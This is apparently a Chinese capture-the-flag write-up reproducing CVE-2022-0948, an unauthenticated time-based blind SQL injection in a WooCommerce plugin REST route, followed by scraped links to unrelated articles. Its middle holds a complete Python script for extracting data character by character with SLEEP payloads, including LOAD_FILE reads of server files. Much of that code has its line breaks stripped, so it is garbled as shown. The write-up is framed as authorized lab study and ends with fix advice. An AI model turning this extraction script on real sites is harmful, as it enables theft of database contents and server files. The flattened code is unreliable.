当前位置: 首页 > news >正文

春秋云镜靶场漏洞复现:CVE-2022-0948 Order Listener for WooCommerce REST SQL 注入

环境:春秋云境“免费空间”授权实验靶场。历史实例已关闭。

1. 基本信息

项目 内容
CVE CVE-2022-0948
产品 Order Listener for WooCommerce 3.2.1
入口 /olistener/new
条件 未认证 REST 路由
漏洞类型 SQL 时间盲注
Flag flag{442494e7-4341-47ad-8f46-bbfbc0cf5d84}

2. 原理与复现

REST 路由未认证,参数进入 SQL 查询。向路由提交真假条件和 SLEEP,以响应时间作为 oracle,逐位提取 flag 表内容:

POST /olistener/new HTTP/1.1
Host: <WooCommerce-靶场域名>
Content-Type: application/x-www-form-urlencoded<参数>=<time-based-payload>

当字符匹配时触发延时,循环位置和候选字符恢复:

flag{442494e7-4341-47ad-8f46-bbfbc0cf5d84}

Python 爆破脚本(时间盲注)

仅对本题授权靶场使用。先按本文关键请求设置 URL、METHOD、LOCATION、FIELD、SOURCE、基础表单和 Cookie;SOURCE 使用本题已确认的 flag 表达式或 /flag 读取表达式。

import string
import time
import requestsURL = "https://<authorized-target>/<endpoint>"
METHOD = "POST"                 # GET 或 POST
LOCATION = "form"               # form、query 或 cookie
FIELD = "user_name"
SOURCE = "LOAD_FILE('/flag')"   # 或 (SELECT flag FROM ctf.flag LIMIT 1)
BASE_DATA = {"password": "<value>"}
BASE_COOKIES = {}
DELAY = 3.0
THRESHOLD = 2.0
MAX_LEN = 80
ALPHABET = string.ascii_letters + string.digits + "{}_@.-,:/"session = requests.Session()def send(payload):if LOCATION == "cookie":cookies = dict(BASE_COOKIES)cookies[FIELD] = payloadreturn session.request(METHOD, URL, cookies=cookies, timeout=DELAY + 5)if LOCATION == "query" or METHOD == "GET":return session.get(URL, params={FIELD: payload}, timeout=DELAY + 5)data = dict(BASE_DATA)data[FIELD] = payloadreturn session.post(URL, data=data, timeout=DELAY + 5)def extract_flag():result = ""for pos in range(1, MAX_LEN + 1):for ch in ALPHABET:code = ord(ch)payload = (f"' AND IF(ASCII(SUBSTRING({SOURCE},{pos},1))={code},"f"SLEEP({DELAY}),0)-- -")started = time.monotonic()send(payload)if time.monotonic() - started >= THRESHOLD:result += chprint(f"{pos:02d}: {result}", flush=True)breakelse:breakif result.endswith("}"):breakreturn resultif __name__ == "__main__":print("recovered:", extract_flag())

脚本逐位置遍历候选字符,条件为真时触发 SLEEP,并以超过 THRESHOLD 的耗时作为 oracle。运行前先用已知真假条件校准 DELAY/THRESHOLD,并把候选字符集限制在题目实际 Flag 格式内。

3. 修复建议与验证

对 REST 路由增加认证、权限和 nonce;使用参数化查询,限制数据库账号权限,避免可观测时间 oracle。Flag 与平台记录一致,已提交并关闭。原始参数/阈值未保存,截图已保存到 images 目录并由平台详情页复核。

截图证据

题目详情与已攻克状态

题目状态与 Flag 验证区域

http://www.jsqmd.com/news/1400970/

相关文章:

  • DBeaver数据库管理工具:一站式跨数据库连接与SQL编辑实战指南
  • 朝闻通品牌传播有哪些优势?全域媒体资源与全链条服务详解
  • 从Kimi暂停订阅看AI大模型推理的算力瓶颈与优化策略
  • 液压夹具工业应用,成型机床精准夹紧固定设备解析 - 优企甄选
  • 从“十佳班级”到“最好的我们”:班级建设的系统化实践与深度复盘
  • HoRain云--Codex CLI 配置
  • AI研发框架重构Git工作流:提升67%代码审查效率
  • FDE系列11:差异分析——产品与客户需求之间的鸿沟怎么填?
  • Seedance2.5 正式上线】
  • 换模台车,注塑压铸车间模具快速转运高效设备 - 优企甄选
  • AI图像生成实战:从提示词工程到环境配置,探索可灵AI创作神秘之地
  • Web安全渗透测试入门:从环境搭建到SQL注入实战的完整学习路径
  • 磁力换模系统优势,注塑压铸车间高效换模改造方案 - 优企甄选
  • 致癌、致畸、不孕不育……实验室有毒试剂清单!!
  • 春秋云镜靶场漏洞复现:CVE-2022-0848 Part-DB 标签生成器 `.pht` 上传执行
  • 二建注册流程
  • 安卓文件同步新手指南:Syncthing for Android 的免云端直连方案
  • 店雷达推荐码优惠折扣码是什么?电商选品工具就用店雷达! - 跨境电商卖家出海
  • iOS设备机型对照表:开发、测试与交易必备的硬件识别指南
  • Zabbix Web监控实战:从服务器监控到业务感知的跨越
  • 智驾车载以太网(9)-davinci之phy
  • Spring Boot邮件发送全攻略:从配置到生产级实践
  • nvm实战指南:多版本Node.js环境管理与项目隔离
  • VGA高速PCB布局布线设计指南
  • 2026年杭州空调维修选简单到家,这些优势你必须知道 - 简单到家
  • 二叉树_堆的实现
  • 从CF模拟题看算法竞赛基本功:逻辑严谨性与边界处理
  • 花草茶代工如何选厂?2026 年品牌方关注的三个核心问题 - 品牌测评网
  • C++17新特性实战:结构化绑定、optional与variant提升代码质量
  • Spring注解驱动开发深度解析:从IoC容器机制到高级装配实践